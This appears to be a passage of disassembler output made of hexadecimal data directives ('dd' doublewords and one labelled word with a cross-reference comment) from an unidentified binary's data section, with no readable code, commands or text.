dd 3D00E97Ah, 0E7EBA561h, 9A111D3Ch, 4A0CB0B8h, 3D3002EEh
dd 0CC605EBAh, 0FA8ED32Ah, 0B5510301h, 8EAA6AA8h, 3C692E8h
dd 7698A60Bh, 2514A3B1h, 64029A4Dh, 31217848h, 310EB62h
dd 44CDF528h, 98B49174h, 0F3FC61A4h, 0C068C4A4h, 5F322840h
dd 89169E31h, 2824CEE7h, 1B480CA9h, 92D0229Ch, 0AE336B0Ch
dd 2AB32972h, 128C25EDh, 4F83715Fh, 7DE33C48h, 8814E3B6h
dd 850868A4h, 0B850A782h, 6967A1ACh, 0BBA700F2h, 0E5247EA4h
dd 3F1F20A8h, 796E9E8Ch, 27330328h, 0A9B97E9Ch, 186A2025h
dd 2A4A6928h, 0E418C667h, 8C665455h, 0C7C0199Ch, 10757033h
dd 1C478382h, 80691D08h, 359939C8h, 0E81980F2h, 5EC0F898h
dd 68FA4182h, 0ACA0D601h, 624F51C0h, 0F79AF300h, 0F445F1BEh
dd 19BF0193h, 0AE38973Dh, 0F5A91326h, 82CC9820h, 1F3887Ah
dd 7414864Ah, 0BFB70E6Ch, 7DFA9CEDh, 0EA799600h, 22A61F5Eh
dd 80E01BCBh, 16A3B968h, 96DC822h, 0D9DFFA20h, 99C4482h
dd 4CD22924h, 0B290A0E6h, 482B8A7Ch, 322EC1Ah, 28AD6BEAh
dd 29D0D195h, 77C1282Ah, 58881B28h, 3ABB1E4Ah, 6BD683D5h
dd 0A5E6AAD8h, 20CD08C2h, 78A62F5Eh, 6C53167Bh, 59FCC740h
dd 88C81E84h, 14471BBh, 0B3F8CB20h, 22D48B6Bh, 5A131200h
dd 9C344456h, 2A783C6Eh, 12A41D9Bh, 0D66FA7D0h, 8E653048h
dd 342A1161h, 95797321h, 0B45DBF0h, 0F76CD737h, 0D0382406h
dd 79296205h, 10802033h, 0A27202B0h, 46BC3C48h, 0AA28C2E1h
dd 9598A3B4h, 0E302CCE9h, 0A8A7C99Ch, 0A3398CFFh, 244A675Ah
dd 3C1054DAh, 1320E84h, 2D1830E7h, 71877F31h, 0D0295A67h
dd 0DAD0905Fh, 9DBD3702h, 62975002h, 0C170AE18h, 6913591Eh
dd 88D4A070h, 0E73EB9A9h, 292056A4h, 4105BC10h, 0A0043E0Fh
dd 9C83C044h, 0D5419FA3h, 0C46169FAh, 9490FDFBh, 0C0DEB713h
dd 0BA8C9C38h, 96006D47h, 5A29D086h, 0FEA00794h, 2EEF00C4h
dd 0C71401B2h, 4E5178CBh, 871DDCE0h, 89008A7Bh, 52BAAD80h
dd 7AD9A4h, 0C2C937C8h, 0C5266F74h, 9D2F3200h
db 20h, 0B1h
word_4D4152 dw 0E5F7h ; DATA XREF: ___:off_42E644o
dd 7382066Eh, 40AF1017h, 7FC71208h, 0D8013FAAh, 0B261FD97h
dd 146BE0C2h, 63DED007h, 0B6005EFh, 37E5BA9h, 1C532673h
dd 0C7E3E488h, 7BBAB8D0h, 98937801h, 0C0B22BFDh, 2C2BB029h
dd 0A0F25504h, 93A34EF8h, 80034E8Ah, 127A772Ah, 3BDED800h
dd 80E465Ah, 81A900D6h, 0AE4E3CA1h, 0F90E8D9Ah, 0A6064A87h
dd 40A476h, 79F729C9h, 0D0202851h, 0EF5EE300h, 0FD1A3D17h
dd 79767C6Eh, 903E0074h, 4BC30DA3h, 9581BB02h, 8128CEE8h
dd 0FF3BD17Bh, 0F9EF2FB8h, 0E2440803h, 0E0564A5Bh, 5C724Eh
dd 5AC30991h, 2A778CC7h, 290A100h, 7592F72Eh, 0C5BC83A5h
dd 0BB942E38h, 99784800h, 0C9270494h, 2874C70Bh, 3093000Dh
dd 44FEEFh, 7E6BA91Ah, 711411A1h, 193913Ah, 8DB9BE8Eh
dd 8FD8A44Dh, 0AE6C00D0h, 126F0780h, 7C00DDC6h, 1B370DC0h
dd 7D3576CCh, 6B24004Ch, 8CFF9F97h, 8E0307C2h, 9298964Dh
dd 0F44076D3h, 0D00C009Eh, 15A7C2Bh, 0D70E3611h, 0C0A54362h
dd 0A3BEAE58h, 7FBD00FFh, 710B8EB8h, 0FD008693h, 5094C76Ch
dd 2CD2276Dh, 0D58C722Bh, 818D00D4h, 94D86D4Fh, 0C9002EC8h
dd 3C7C7795h, 0E472EFD5h, 400D20F2h, 11745300h, 8B9B1C55h
dd 7F89004Eh, 6D49BAB9h, 60E28FBDh, 8080B63Eh, 2FCD0C78h
dd 102B228h, 6DE30886h, 0C73B6943h, 320697A8h, 0ED5A8901h
dd 93A10B8Bh, 2DD2E8h, 284B85ABh, 3BEFBA17h, 0C03F4E4h
dd 435CFC19h, 6E14B067h, 0F9F00BEh, 0C8AA4B8Bh, 91008E0Bh
dd 5D6CFC8Ah, 7C6B5379h, 32280259h, 0E8612F4h, 1078ACC1h
dd 0E08D8F17h, 4AC04B8Ch, 0DF04E824h, 0A43B00FDh, 8C76B6E7h
dd 57EFE500h, 4F8D0B98h, 2B495AE8h, 0C3DE802Ch, 395C82h
dd 0DC94F99h, 570858B7h, 0AD8DCB10h, 4D913B0h, 0E9011A7Ch
dd 7FE3E517h, 78F195F5h, 0C446F011h, 87001C8Fh, 724B57EBh
dd 36BE977h, 0B3D61056h, 0DDB0A296h, 0E6003903h, 0AB595F30h
dd 179C18A8h, 0C1CAA97Eh, 0DC225D24h, 809D9915h, 0D90DE8E8h
dd 0A497173Ah, 6528886Bh, 44A5B600h, 0B73D2009h, 0A8F12994h
dd 29DB901Ch, 0AF0F9CD1h, 0CAC641F5h, 0A0C8336Ch, 0D8E30032h
dd 735F4C24h, 0BE08AAB0h, 40039C19h, 3268F208h, 0C7DD6106h
dd 0BE09669Eh, 0E9A887C0h, 22075E68h, 825BB14Fh, 9D7180D9h
dd 8C777ABEh, 70310F6Ch, 0DCA0EFEBh, 156B42Dh, 0AA12B000h
dd 75E71AA4h, 0C0E64ACAh, 9F1E2D04h, 0D66700F7h, 0D88B1003h
dd 574D081Fh, 76D4012Ah, 0FDF4A7BAh, 13E9E081h, 8AB96760h
dd 95A35C91h, 9D9302Fh, 2A21807Ch, 4965C98h, 5EA4098Eh
dd 70D0FC39h, 0E4524D3Dh, 94E98288h, 3F233E00h, 0CD3A59EFh
dd 18288130h, 24392C03h, 0BB141C40h, 91A7A300h, 0CDBEEFA2h
dd 74839A4Ah, 0DA213C32h, 0FF82A88Fh, 0D86F00B2h, 5526EAC6h
dd 0A317AF00h, 1120C5A9h, 0CC229FE9h, 0E92F6AB2h, 8014F1F6h
dd 5BF49030h, 0DD036F4Ch, 0A54D25B3h, 99B801EEh, 0FF981A09h
dd 10D4F6B0h, 0FE551F03h, 282012E5h, 21ACB4B4h, 0D5824D12h
dd 418098B4h, 467440A5h, 0F960D196h, 6BBC1098h, 6E4D049Bh
dd 0FCFA787Ah, 0FDD3C140h, 33002059h, 0E9F94AAEh, 0F615F11Fh
dd 670780D4h, 7DA12F5Dh, 385832BEh, 637278C1h, 0B1E918DBh
dd 213CB98Eh, 0D0A07Dh, 5F4A2A03h, 55FDB264h, 0C9583260h
dd 284E5698h, 4B94014Dh, 0AD208866h, 7A971884h, 91FA6162h
dd 0E4996B29h, 31CC1900h, 6B2F227h, 0AB1DEC56h, 0E360085Eh
dd 2739EB21h, 89D6000Ah, 0AB31B4EDh, 0B8AAB64Dh, 8A180F2h
dd 0E9D183Bh, 0BFA293A8h, 802EC830h, 0C4A894E0h, 4D099C25h
dd 0D06B636Fh, 52927530h, 330250BBh, 46B2F827h, 0A510D731h
dd 291F273Bh, 0E7D821D1h, 0FA5EA299h, 83B0A2D6h, 742D8EB0h
dd 8ED30B1h, 0FF7469B9h, 370E28F8h, 0A5CDD2A9h, 9C407967h
dd 1F7C694Ch, 88704CC7h, 0EAC5EF83h, 3047DED0h, 0FB21D090h
dd 5C0A1B6h, 40800899h, 0D7AB8E1Ch, 40C0F9D2h, 0A3578B47h
dd 0B0710578h, 0A83099EDh, 21D300A4h, 29596717h, 79EC9180h
dd 13E1875h, 0B41C4327h, 0F8EE48E7h, 0A21230ABh, 38492C66h
dd 0E288F201h, 0BE3700B5h, 1B094D65h, 8A00DAA2h, 0CA359DADh
dd 1C98E8ACh, 8961AEB1h, 60DB9FF6h, 0B4009792h, 47CDC1BAh
dd 0D7485160h, 0C8C0002Bh, 7935AA07h, 0CE2D5D7Ah, 0C6C840BBh
dd 80174820h, 3BB1F706h, 0EF46E8E6h, 9D5C9307h, 6FC43822h
dd 43BA5F5Ch, 3718983Bh, 4D6BC8D0h, 0A42A8103h, 0E6D4937Dh
dd 5EB90498h, 9075A69Eh, 2421F5C8h, 169AAA80h, 4BDAD19h
dd 1ECC140h, 999EE369h, 44422C25h, 27323098h, 5EB2F111h
dd 0BDE188h, 9E2C273Ah, 9B7664h, 99BDD641h, 0A4C9A668h
dd 0E53D561Ah, 605C5C68h, 1DEDB2DEh, 0C0984561h, 22FCB7FEh
dd 9EAF2C28h, 0A74A478h, 81ACEC07h, 2431DE9Fh, 0F2E42292h
dd 0BD7430E2h, 8B7ED802h, 7E99AB34h, 2F30402Ch, 0FF007A1Dh
dd 0A05C03C8h, 0A98501Ch, 38F65976h, 80EA91D4h, 21A25C8Eh
dd 71448CA4h, 5C990029h, 21269EFFh, 6413876Eh, 64B1AAB6h
dd 0FA160030h, 218C9804h, 0C2933BAh, 0F023EA03h, 19BFF03Ch
dd 0CCB396h, 613468F8h, 4486C80Dh, 0EF008ACFh, 0A98F2168h
dd 0EA7123DFh, 0E5110FC5h, 0B5122C86h, 18C0308Ch, 0A552108h
dd 296424C9h, 1875D148h, 44C00310h, 496272FCh, 5FE1D698h
dd 0C352AE12h, 0F5B17C02h, 33DC680Dh, 46C49869h, 273402BAh
dd 314EB2F7h, 3CA610D8h, 0B0790527h, 902391FDh, 0C013D62Ch
dd 0A32B60C1h, 7874404Ah, 0BF7500F9h, 208A6C64h, 0D450EA4Dh
dd 0D49B3870h, 8EA7A207h, 0DB389734h, 76A89903h, 40F31279h
dd 8CF090F1h, 9C153C90h, 8890B422h, 0BB2B8072h, 8641625Ch
dd 0C8A40C2Ch, 2C2D2E08h, 0CBE56098h, 4400F340h, 1CDD996Dh
dd 82F29Ah, 18AABC24h, 0E959882Eh, 0FF1070FDh, 0A04C8107h
dd 6E41FB28h, 0C715771h, 2410ACh, 773AA3F3h, 0E9025B93h
dd 9C8E8D3Fh, 0A18460B6h, 0FC8080E8h, 0D323A407h, 901ADE7Dh
dd 9E603C44h, 0A22392A8h, 3511B7h, 0B3A895DFh, 15E50Ch
dd 417C60B0h, 860D9990h, 62FA9174h, 0A8B6E93Bh, 0AC3CD487h
dd 25345892h, 9DFCC2FDh, 94711138h, 3460493h, 34806F99h
dd 88D36BEEh, 0A8034D1h, 602B6419h, 5C8F60EBh, 0BC2123A1h
dd 797D11h, 42185C96h, 2FE7CCBAh, 5E166098h, 0A821E285h
dd 5828DEF6h, 3C90C68Eh, 0D49724BEh, 3568F7C0h, 70054661h
dd 1EE8D88h, 0B70A4268h, 495FA3C8h, 0B38E84BCh, 948298BEh
dd 273530BDh, 76B2F617h, 0A75838h, 646D273Dh, 83595598h
dd 0C98F0ACh, 3EABBC3Dh, 64418EEBh, 33CF3Ch, 2D71E6DCh
dd 95ED2725h, 33E938E1h, 0C8222E14h, 28F99A08h, 0A5382024h
dd 318268A0h, 908BE980h, 7ACD0350h, 2D81F6A3h, 67E59900h
dd 0C0794688h, 0CAD739ACh, 2B330202h, 584090F9h, 83001914h
dd 0A2C96830h, 0A5BFBE27h, 61FDE4A8h, 806430DBh, 159924C9h
dd 81E165Dh, 2FC09718h, 43B2F427h, 37E98326h, 975A827h
dd 93C0017Ah, 16A66160h, 80016BBFh, 0DCE6BEEDh, 25D4A860h
dd 0BC0E7FB8h, 16E90031h, 0D019AEFCh, 701E0FD4h, 0ED064B46h
dd 18A1398Eh, 4F3189Bh, 0E5613168h, 21FB32C7h, 0F868EAA9h
dd 5B2DAE2Dh, 32886802h, 0D18E00C7h, 68D8085h, 800B951h
dd 1E13A548h, 4CD9C00Ch, 0A907D1E9h, 718F3B38h, 93C8399Bh
dd 2440C9B1h, 32A1735Fh
dd 15A42458h, 0E57E081Ch, 132CEB00h, 12AEF411h, 4140725h
dd 244010h, 0C1BB7EE8h, 0E5E700C7h, 0C25947F4h, 24099492h
dd 46D94E6Ch, 0BA3A58F8h, 602AFC4Ch, 233F1584h, 0D54E0825h
dd 585CECE4h, 0C4BEC0D8h, 4B4C781h, 0C1DC7D68h, 7118011h
dd 4A02C0F0h, 6F4D3AAh, 477CF40Ah, 8F5FC7EFh, 1498F0F6h
dd 6CA049h, 0AAFE519Ch, 1E4F35Bh, 22F5BE47h, 5FDF95Fh
dd 0B101FC00h, 2C416B2Bh, 302F399Ch, 544EB4F1h, 0D3D44500h
dd 7075D7B7h, 0E6C401FAh, 16848717h, 6AA841E1h, 208421A0h
dd 0DA6103DCh, 54D801C9h, 0E808831h, 9A581512h, 42078155h
dd 0F46C4F6Bh, 0F18F99D1h, 0CF8C844h, 0A8037501h, 6A7D20C0h
dd 501A3856h, 4650C4C6h, 64942EECh, 7426211Dh, 274070C4h
dd 0F3585C97h, 0B0941800h, 36CB88F2h, 1B5E34A3h, 25C000E9h
dd 89C2AC4Dh, 3A1060FFh, 0A7A4168Ch, 33E8F190h, 2F2210h
dd 41A89BD9h, 4AA15155h, 442BFA2Dh, 0CE1D1018h, 3F2848D0h
dd 10BFC0CDh, 1338E7Ah, 8FEC189Ah, 1C29CE78h, 20151DC2h
dd 82F86F00h, 1B50123h, 5134132Fh, 1443194h, 31F6A4BCh
dd 1C40530h, 0F18EB478h, 742828A0h, 0EE5D4013h, 0A8800C9Bh
dd 609BC03Fh, 96D3DE3Fh, 0A43EFA0Ah, 38003623h, 3BFFDDB5h
dd 0AF04052Bh, 0FD13018Ah, 0D579001Ch, 0F7CF23ADh, 0C9A20503h
dd 601595EFh, 0D5744D0h, 0D3A4CD50h, 21A4181Ch, 0A97A4D4Bh
dd 0E4546538h, 0CBD2612Dh, 0EED886CAh, 19A42C49h, 11CE1808h
dd 0B114AFFFh, 8490A0E3h, 34907713h, 707608h, 7882EA18h
dd 41B063C1h, 0D600BFB0h, 2A434D47h, 0BA936CFh, 37A828CCh
dd 0DC9B7058h, 0D232978h, 0A012725Fh, 46A88C49h, 2D76B9E1h
dd 0B4CBCF1Dh, 66822ED7h, 7C70AB5Fh, 90212D4Ah, 0C0DA8B68h
dd 843266F8h, 1B9AED22h, 0F1319BE3h, 0A4CC21E1h, 92024419h
dd 50C64117h, 793CB948h, 7C61832h, 14772AA4h, 0C7947593h
dd 0F1E7B69Ch, 0A4EA1B05h, 60A0AD56h, 80681C4Ah, 0D448BC62h
dd 18C31E8h, 0AF753A0h, 6056A3DCh, 0E64A39B3h, 3623106Bh
dd 0E55CD303h, 681EC0D1h, 12A27A55h, 40F1F5B0h, 719AC9E0h
dd 0E72F4144h, 26A8E4F8h, 6F35A4h, 729E83D3h, 132C1668h
dd 0A382105Bh, 0E6246F20h, 91405A54h, 0EC779910h, 0C0148F8h
dd 0B8046729h, 25E04541h, 9C8E17D2h, 6D60207Eh, 6BE59EE3h
dd 65923009h, 60DFC44Ch, 4C017Bh, 89BE416Dh, 10DAFC9Ch
dd 34C1C200h, 0DBD65E9Ah, 4509466h, 227491Dh, 502EAE61h
dd 7E832F5Ch, 0DA72A448h, 699CC40h, 9DE402FDh, 0AB7071CFh
dd 762AF302h, 494A3E89h, 942D8130h, 23D76300h, 0E0A7F348h
dd 2E4F4900h, 853FA11Ah, 0AA660078h, 0D2EBF0A3h, 4460F9EDh
dd 0ABF48F88h, 5BCD0454h, 5E1E2Ch, 0AC7C696Ah, 3C460A34h
dd 169461A6h, 9114B078h, 0DD70A8BBh, 0D7F1002Dh, 61DC85ADh
dd 1BDCE9Eh, 8DFDC92Ch, 0E360057Eh, 14B0229Ch, 0E614A055h
dd 0EAFB7B43h, 0C6F1006Bh, 0EEF3222Ah, 0B01CB48h, 0F58781C9h
dd 0F4D84A03h, 0E9C32612h, 60EE4424h, 259E5C92h, 3096C421h
dd 5CBD2D00h, 138FDFA6h, 61F70B20h, 30D83AB6h, 891DB30Ch
dd 576A843h, 7521A380h, 46C958Eh, 17D5392Ch, 20E2B8E1h
dd 27A5EDB3h, 0E19810BFh, 0E0889EFCh, 95B193EDh, 72C94CF2h
dd 0E850EB81h, 1BC8D79h, 581D59A3h, 778E1478h, 4D6905DCh
dd 0D6C0C4C7h, 2C4A9A9Ch, 9FB0DA76h, 4CD690AEh, 8CBA454h
dd 0EEC03088h, 0F0BB7732h, 70E550A6h, 2F2520FDh, 589E6500h
dd 0C6200651h, 9C3716EAh, 0A24801F7h, 72CFF156h, 0AAFF0058h
dd 3CDE0FB7h, 36992D1Dh, 0FBC204A0h, 0C4956933h, 0F3F9039Ch
dd 47029DFEh, 65ACC0AFh, 4CB0A9C7h, 0FAD02ED8h, 36EA00C5h
dd 6E4C617Fh, 0AB0B7910h, 66E4A64Dh, 41C080D8h, 0BE4A80F9h
dd 1B951925h, 3368E8C4h, 0C8152161h, 8B00D291h, 0A56968F0h
dd 0FDFCECB0h, 757C3600h, 3F60135h, 74521555h, 1C01C8D8h
dd 0A302B543h, 0EAB44868h, 0BE303F05h, 0C8B91398h, 0F8F29C06h
dd 282F74C6h, 32F82F66h, 0FD3C6802h, 42CF631h, 0C01D186Eh
dd 0F5D0FAA8h, 18220130h, 0C0DB8158h, 0EF022539h, 1C00856Dh
dd 8EBA712Eh, 0B9AD942h, 0B1CE3052h, 98E98480h, 2CB05831h
dd 694C4480h, 4B147B01h, 9A969E5Fh, 8C217C21h, 273030DAh
dd 2EB2F312h, 0EEAF838h, 98862738h, 0B003BDA2h, 908B9987h
dd 3144842Bh, 2190AA48h, 0A91505D9h, 0FE24F42Eh, 163E189Eh
dd 1C8025F5h, 98AA9E0Bh, 402AF941h, 7AA1376Ch, 0C091D5BAh
dd 64E5D108h, 9D1523E0h, 10E8A054h, 3D1CC082h, 72450FDh
dd 7D5C8369h, 132D27B0h, 0D20D8016h, 2BCC4486h, 5059253Eh
dd 42958E58h, 709CD370h, 0E203EA12h, 2F66347h, 9D781011h
dd 0E040B2E7h, 862F0E48h, 0A1A0920h, 0A27EAE5Fh, 2331086Ch
dd 3C24401Dh, 58BF2E8Eh, 143D2F8Ch, 0F835E53Bh, 784F730Bh
dd 0E1918C22h, 0E3B13CA5h, 30E4E208h, 0C701A7C5h, 0FDB07B2Ah
dd 0B4523CADh, 3F6EE39Eh, 0BCD829A8h, 8CE2F8h, 80F68FCCh
dd 0F770D5E1h, 8066AE25h, 7DEDABF4h, 0E770C22Ch, 0D0792BD9h
dd 4A18D2D1h, 379F0A00h, 0E480027Ch, 28C1131Ch, 87801F75h
dd 5465253Fh, 88A8CF9Fh, 38CA31h, 2438F876h, 0F940615Fh
dd 7868003Bh, 0AF0130F5h, 8892A53Eh, 0D4CB694Ah, 82C1FBC8h
dd 282C21ACh, 20B88E80h, 0BE017FF3h, 8360E0DBh, 9C30E664h
dd 97A81811h, 5EBAE827h, 0C894DA76h, 267C465Eh, 8217FC8Dh
dd 903D8B4h, 0E330D25Ah, 0E4112076h, 8B815D00h, 74411101h
dd 0E9AEA60Bh, 7D304094h, 0FFCD40B2h, 12B98000h, 220F2AA2h
dd 835800C7h, 15B25BF7h, 0F0923721h, 7C02B0C9h, 0DC2E808Ch
dd 7D2B729h, 0F13A8125h, 0EB660048h, 0DA53B3D9h, 690AA000h
dd 0B84D024Ah, 672F0460h, 0A8C443D6h, 44E49270h, 1EE54482h
dd 0C84A2704h, 4C10C14h, 2D029692h, 0C9309357h, 0B710D982h
dd 6004631h, 5DF270A6h, 0C20C7Fh, 0CE298927h, 8F8EBDCBh
dd 0D7EAC490h, 0F244CCBEh, 0DF9A8240h, 130FA62h, 0AE6161F4h
dd 4A892E2h, 0F6361DB1h, 8C98C7DCh, 18C419E9h, 6D28F4B4h
dd 685CFEEDh, 92E465Eh, 8E42AE41h, 42D9E848h, 542AE91Eh
dd 0F402C63Eh, 0ED613068h, 0A610D531h, 0D10068EBh, 0AF8E2540h
dd 5F0891Eh, 54D4AAFBh, 5FC80534h, 10F8E2BFh, 0C0642CD2h
dd 0A7A16037h, 9FA2238Fh, 0DC093011h, 0EE80A898h, 6E5E0FF1h
dd 8A25B016h, 0AC774081h, 0B678842Fh, 0E806E398h, 0F7414BB9h
dd 8053199Dh, 9A4A7C2Eh, 3E3DE2B3h, 6269001Eh, 2D5C350Dh
dd 0C08500A5h, 437A7301h, 0BE0F279Ah, 10C50D1h, 9FB2B65Fh
dd 2FD43064h, 0DC0ED0E3h, 0FA09D7E8h, 90B8CB12h, 26FEBCh
dd 0D3B4649h, 74F4AAE2h, 14EA3900h, 5B2125E9h, 6DF5162Ah
dd 5460271Eh, 0B8AC01A3h, 56E6A5E0h, 1CF8A598h, 32DE0300h
dd 7411C61Ah, 15A80ADDh, 2D984B05h, 8199E88Eh, 0E698901Fh
dd 376BA401h, 3D2FA5E3h, 4B88790Ch, 0DB140274h, 0A1522DB1h
dd 0E55A2440h, 13A2B788h, 0A89BD64Ch, 4E2C0BB8h, 205880CEh
dd 3366A428h, 21A0E34Dh, 812CFEA9h, 3E5EA638h, 0D3F03A83h
dd 0A3F43117h, 13DCEA58h, 0EC98A0B8h, 0ADED25B0h, 636150E1h
dd 0F5AF0448h, 94E8C557h, 0A28A20DBh, 0F0C060Bh, 2494B2D8h
dd 0D4C47C1h, 41A978ABh, 792BE64Ch, 0E8B02EE4h, 2CEDA912h
dd 40E20112h, 387F5678h
dd 9E00F478h, 0F90CEA32h, 13BCB8AAh, 0AC819573h, 0A0CC8174h
dd 0A9D8B202h, 506E00FBh, 0C3DD0FF2h, 0B500AB15h, 69EC6F38h
dd 12E88AFAh, 37E17275h, 60714DC8h, 99407A7Ch, 691510A9h
dd 0A8A8622Bh, 0D95084C1h, 0A7964841h, 632DD4F8h, 0C9602395h
dd 2A76DF21h, 0C0E711F8h, 204D18D8h, 581EAB1h, 0C3CB65BEh
dd 4D902831h, 0B04E5345h, 5EC03388h, 12B72AE4h, 463875Fh
dd 0A42EFE38h, 0DEF2D00h, 0EAC620D2h, 0D64C2E27h, 2009B258h
dd 35D7D3AAh, 1278B890h, 949457EFh, 23A03248h, 5F91973Ch
dd 4C22B85h, 0FAA0EB2Fh, 45BC1BD6h, 0C425232Dh, 79625481h
dd 38F13041h, 9079C44Bh, 0C42E25CCh, 0E2912C1Dh, 0A860F580h
dd 17019AB8h, 0C5595F2Bh, 2A3E1020h, 2E2213Ch, 0D8AE4D1Fh
dd 0FD20D4DAh, 552500D7h, 0CB897C24h, 2F311898h, 0D3395890h
dd 0E7315C11h, 569E5FB0h, 0DCE1774Ah, 6504CC63h, 0F8364FB6h
dd 228BC264h, 44245D75h, 20A982h, 0BB09A147h, 3BE463A3h
dd 4382AB40h, 0C9E754AAh, 2D79B0D1h, 1CCA4019h, 8158281Fh
dd 0FF3780D0h, 0F406ACh, 0E40B8E0Dh, 5510C143h, 0A4293100h
dd 1877845Dh, 622491A1h, 7CC71DC0h, 0DC60CEC4h, 70921F2h
dd 841C8102h, 50E0ED42h, 4BCEE70h, 0A2F0CFACh, 0D3A88249h
dd 2A489058h, 0B8414FA8h, 0E98D7E4Ah, 42CC442Ah, 282C162Eh
dd 10C68827h, 0E8B5B626h, 192F1D09h, 0C1810D44h, 86056E4Ch
dd 582F2A4Ah, 0C109CF23h, 27DA0029h, 168C1823h, 64FA4921h
dd 202CD0B8h, 0C101D43Bh, 940DDEACh, 0E9E985DAh, 69004833h
dd 0DF2E4CA6h, 0CE00BD0Bh, 0FC640A0Dh, 4E2AEA70h, 59B80CF1h
dd 0C8000F39h, 0BE63822Bh, 0C07A1298h, 20D030B9h, 5F002474h
dd 16C0B2E6h, 1696B906h, 60C7DEA1h, 871099ACh, 0E830C648h
dd 47778C34h, 1DE1E601h, 0C98E2EA0h, 2DBCA06Ch, 0A4C82C8Ch
dd 652163C8h, 97E0F0F4h, 0C0C22A4Ah, 5E4C01DEh, 0E88C6535h
dd 0D8141689h, 1283EB7h, 905A48B6h, 8FD423CDh, 71764Ch
dd 0EB333B44h, 62BC6F99h, 1240375Dh, 0F029B18h, 6256AEFEh
dd 4A40C4E0h, 4378F49Fh, 649D98ACh, 0B0C6E8C0h, 0AFCB48B1h
dd 727E1Ch, 3A3DA0Bh, 8000FAE3h, 0BB251EC5h, 0C7927516h
dd 96B0FFD1h, 0C10CFA64h, 18D6BA52h, 22F8B803h, 0FF001E66h
dd 2299E0AAh, 1963B9Ch, 8F3198EAh, 0E03CFB28h, 3000A0F3h
dd 0BE2FA290h, 324D0E8h, 0FE844D25h, 0AEE0CB88h, 70BC08BDh
dd 849B1816h, 0F00BB987h, 0ECA43127h, 621B8A07h, 88176891h
dd 0EB98FAE0h, 0E3211778h, 7388C84Ah, 0F314BC00h, 7C9DE02Bh
dd 0E9127C56h, 1CC4EBF4h, 444BAEEAh, 0BC8F4A8Bh, 556E00E4h
dd 0AA8E8CE9h, 68CE0AB1h, 4968DA6Ch, 0D64148D6h, 0B5E07E32h
dd 9C60037h, 98B4590Bh, 5F163A1Bh, 0D849A2AEh, 6A1C02A1h
dd 7EA600E4h, 281F9D1h, 2A00647Dh, 0BB279BECh, 0EA0003D8h
dd 1FA090DBh, 8C35A3h, 9FB0704Dh, 0B31ABE49h, 81B11527h
dd 66B6E7E0h, 5B74003Bh, 0B0E9963Ah, 0D094B928h, 52370F00h
dd 0F18E7D83h, 5F4D049Bh, 0B84A5A6Fh, 0D59C8028h, 23A6D7h
dd 0A81E55D4h, 7A68B1E4h, 6E2FCD07h, 9F30B245h, 0BEDAEFAh
dd 6CC9563Fh, 9826DC02h, 1D9D8078h, 0C0D5119Ch, 4931AEA1h
dd 39F005F1h, 88A7E3E8h, 74941410h, 50980E80h, 0A0AE51Ch
dd 0D14156A2h, 0E13002A0h, 0B4A117CEh, 0C00863B1h, 700C7AAh
dd 37EAC5ECh, 0E780D0E7h, 36A23C23h, 3BC0F30h, 0ED16B7D5h
dd 8D0E2A6h, 0A2094C82h, 823A296Ah, 5E016C18h, 0AE37818Ch
dd 0D3C0E97Fh, 0EDB290F0h, 6FA5EEA0h, 8E3CA801h, 0C9B5649Eh
dd 2C5E9824h, 94D84EB6h, 0E3C2B0AFh, 287229A8h, 100CB94Ch
dd 0B8406612h, 76A61A5Eh, 0F046F9C4h, 33A0E319h, 52D99C39h
dd 0F3C8412Ah, 3240693Dh, 2EFC0050h, 18D89592h, 0EEF27Dh
dd 73090DD2h, 0DAC26716h, 58012A02h, 90E72CEAh, 28F48FECh
dd 5638EDB0h, 0F9E0FCBEh, 0F400DAE4h, 0C516537Ch, 3AD8E89Ah
dd 572D41Ch, 0DA4359CDh, 99F09291h, 3A68F530h, 2246612Fh
dd 0ECA70BFDh, 7870E368h, 8CC497h, 0D33CB833h, 119B735Fh
dd 88B3760Fh, 0AB41195Dh, 24B967F8h, 9B81964h, 4C09466Eh
dd 0FAC9F4C8h, 34C5A34Bh, 57D0841Eh, 0D1A28043h, 600530h
dd 333F1473h, 71FDB069h, 0B491464Fh, 0E0287023h, 2A4E84h
dd 1D209BF9h, 0E82750D6h, 0B58A7BF2h, 14D238B9h, 8C709C3Ah
dd 58E79B00h, 5147EACFh, 332514AEh, 0D4E87456h, 1BA4008Ch
dd 34473BABh, 211727D7h, 20C0DA1Dh, 0A4022903h, 349D00DCh
dd 0E2536815h, 8D03C698h, 0D9228960h, 17E5C818h, 0DC3D2D4Fh
dd 3430A4E1h, 0C520ED84h, 787AA02Bh, 8B18D64Eh, 0C0D6C870h
dd 0AA2015FBh, 0A9689A0Bh, 0F8B0185Bh, 0DD87178Ah, 0C4A600B5h
dd 7E9FC1FBh, 733B8F05h, 0F4A4A928h, 1F6330A3h, 2956A439h
dd 0C008D85Fh, 0A5DF01E9h, 36B93D0Dh, 0B3FAF098h, 0D23A1DDCh
dd 6B3940B5h, 34A48131h, 0C593F427h, 60E1E460h, 0B1AC380h
dd 8DBBAAF2h, 8B911502h, 3DC087Ch, 891E6EADh, 0F000A33Ch
dd 919A9FC8h, 4D9E61D4h, 0D30BD46Ah, 0E8C47D25h, 456E423Dh
dd 0D888600Ah, 0F5B310C0h, 0B50492A9h, 6D818491h, 0D7F0078h
dd 65313EB5h, 14A404E1h, 0A599E32Fh, 3A20D4CCh, 8430F32Fh
dd 24544B94h, 8CE1E8h, 1690FD39h, 6950DD76h, 0D78222h
dd 342C4BD2h, 0A3578AA8h, 22D69400h, 85353AA7h, 28080059h
dd 4D8BFA4Eh, 0ED248F69h, 0A8029790h, 591AC915h, 5A631118h
dd 9780209Bh, 0D210CBC2h, 29D61305h, 0C402B2E2h, 2AD8A3DAh
dd 8602D6A0h, 9EE11A62h, 0AD10D4B2h, 8BC38C4h, 75FB465Eh
dd 0B2B59D02h, 0DC26C515h, 0FD6980A8h, 6A2B5FE9h, 0A35A68B8h
dd 0C007CCB2h, 3080C450h, 0AAFE3E99h, 0E522A52Dh, 607DE470h
dd 26DBBA44h, 1FC4275Bh, 0B0132215h, 0AC80B925h, 138A925Fh
dd 3E19C602h, 0FB23BCh, 0D289887Ah, 97F1EDh, 0CD086ECCh
dd 303AE163h, 9AC11CA4h, 82EA2525h, 6462A3D4h, 57440B38h
dd 0E4C8FE31h, 6081DAC6h, 0CE4AA078h, 0C07CC8D0h, 0F7B51340h
dd 0B8D09149h, 0D2A824EDh, 0DEF4895Ch, 4AD038DBh, 90405EF5h
dd 0D23A77Ch, 0B3D5BE2Eh, 9F697E00h, 7F9AA2BBh, 0BA1B0018h
